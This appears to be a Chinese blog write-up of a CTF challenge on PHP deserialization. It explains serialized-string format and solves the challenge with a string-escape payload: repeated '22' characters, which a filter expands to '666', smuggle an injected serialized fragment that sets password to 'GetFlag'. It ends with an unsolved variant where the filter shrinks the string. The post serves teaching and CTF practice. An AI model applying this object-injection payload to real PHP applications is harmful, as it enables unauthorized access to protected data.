打开题目是一道反序列化题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include_once 'flag.php';
highlight_file(__FILE__);
function filter($str){
return str_replace('22', '666', $str);
}
class GetFlag{
public $username = 'tom';
public $password = 'tom123';
}
$g = new GetFlag();
if (isset($_POST['username']) && isset($_POST['password'])){
$g->username = $_POST['username'];
$c = unserialize(filter(serialize($g)));
if ($c->password === 'GetFlag'){
echo $flag;
}
}

在本地(phpstudy)搭一个php环境,新建一个php代码如下:

1
2
3
4
5
6
7
8
<?php
class GetFlag{
public $username = 'tom';
public $password = 'tom123';
}
$g = new GetFlag();
$g2 = serialize($g);
echo($g2);

输出如下:

1
O:7:"GetFlag":2:{s:8:"username";s:3:"tom";s:8:"password";s:6:"tom123";}

PHP 对不同类型的数据用不同的字母进行标示,所有的字母标示及其含义:
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
大致理解下:O=>object GetFlag(7个字符),2(两个成员属性),第一个成员属性string类型8字符,username; username的值也为string类型,3个字符,值为tom;第二个成员属性string类型password,8字符,值string类型tom123,6字符

如果加个int类型的成员属性,序列化如下:

1
2
3
4
5
6
class GetFlag{
public $username = 'tom';
public $password = 'tom123';
public $int = 123;
}
O:7:"GetFlag":3:{s:8:"username";s:3:"tom";s:8:"password";s:6:"tom123";s:3:"int";i:123;}

所以第三个成员属性string类型3字符,名为int; int的值为integer (int)类型,值为123。
class GetFlag{
private $username = ‘tom’;
public $password = ‘tom123’;
public $int = 123;
}
注意私有属性又会有点区别:
O:7:”GetFlag”:3:{s:17:”GetFlagusername”;s:3:”tom”;s:8:”password”;s:6:”tom123”;s:3:”int”;i:123;}

回到正题:unserialize就是把serialize的字符串还原成对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class GetFlag{
public $username = 'tom';
public $password = 'tom123';
}
$g = new GetFlag();
$g1 = serialize($g);
$g2 = unserialize(serialize($g));
var_dump($g1);
echo "<br>";
var_dump($g2);

//输出如下:
//string(71) "O:7:"GetFlag":2:{s:8:"username";s:3:"tom";s:8:"password";s:6:"tom123";}"
//object(GetFlag)#2 (2) { ["username"]=> string(3) "tom" ["password"]=> string(6) "tom123" }

我们可以直接这么写:

1
2
$g3= unserialize('O:7:"GetFlag":2:{s:8:"username";s:3:"tom";s:8:"password";s:6:"tom123";}');
var_dump($g3);

结果输出和g2是一样的。

回头看题:我们只要将password改为GetFlag即可。
O:7:”GetFlag”:2:{s:8:”username”;s:3:”tom”;s:8:”password”;s:7:”GetFlag”;}
注意,如果GetFlag是7个字符,这里s要改成对应的字符数。所以这里要改成s:7:”GetFlag”;。
回头看,即username要为’tom”;s:8:”password”;s:7:”GetFlag”;}’,当然为了节约下,可以让username为空,即”;s:8:”password”;s:7:”GetFlag”;}总共有32个字符串。将代本地代码改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include_once 'flag.php';
highlight_file(__FILE__);
function filter($str){
return str_replace('22', '666', $str);
}
class GetFlag{
public $username = '";s:8:"password";s:7:"GetFlag";}';
public $password = 'tom123';
}
$g = new GetFlag();
echo(serialize($g));

如果没有任何操作的话序列化是这样的:
O:7:”GetFlag”:2:{s:8:”username”;s:32:””;s:8:”password”;s:7:”GetFlag”;}”;s:8:”password”;s:6:”tom123”;}
我们要绕过s:32这个,正好这里有个filter的操作:
function filter($str){
return str_replace(‘22’, ‘666’, $str);
}
这个filter把’22’替换为’666’,字符会多一位,我们只要有32个22,多出来的32个字符就只可以逃逸掉后面的password了,从而反序列化出password=>GetFlag了
先看下没filter操作的echo(serialize($g));(96个)

1
O:7:"GetFlag":2:{s:8:"username";s:96:"2222222222222222222222222222222222222222222222222222222222222222";s:8:"password";s:7:"GetFlag";}";s:8:"password";s:6:"tom123";}

先看下有filter操作的echo(filter(serialize($g)));(也是96个,但是被666占满)

1
O:7:"GetFlag":2:{s:8:"username";s:96:"666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666";s:8:"password";s:7:"GetFlag";}";s:8:"password";s:6:"tom123";}

再反序列化就完全不一样了:

1
2
3
object(GetFlag)#2 (2) { ["username"]=> string(96) "2222222222222222222222222222222222222222222222222222222222222222";s:8:"password";s:7:"GetFlag";}" ["password"]=> string(6) "tom123" } string(4) "

object(GetFlag)#2 (2) { ["username"]=> string(96) "666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666" ["password"]=> string(7) "GetFlag" }

Payload:

1
2
//post提交
username=2222222222222222222222222222222222222222222222222222222222222222";s:8:"password";s:7:"GetFlag";}&password=1

扩展:如果是变少呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// include_once 'flag.php';
// highlight_file(__FILE__);
// Security filtering function
function filter($str){
return str_replace('666', '22', $str);
}
class GetFlag{
public $username = 'tom';
public $password = 'tom123';
public $sign = 'sign';
}
$g = new GetFlag();
if (isset($_POST['username']) && isset($_POST['password'])){
// Security filtering
$g->username = $_POST['username'];
$g->sign = $_POST['sign'];
$c = unserialize(filter(serialize($g)));
if ($c->password === 'GetFlag'){
echo $flag;
}
}

希望这篇文章能给你带来知识和乐趣,喜欢博主的文章可以加博主好友哦

有好的文章也可以向博主投稿哦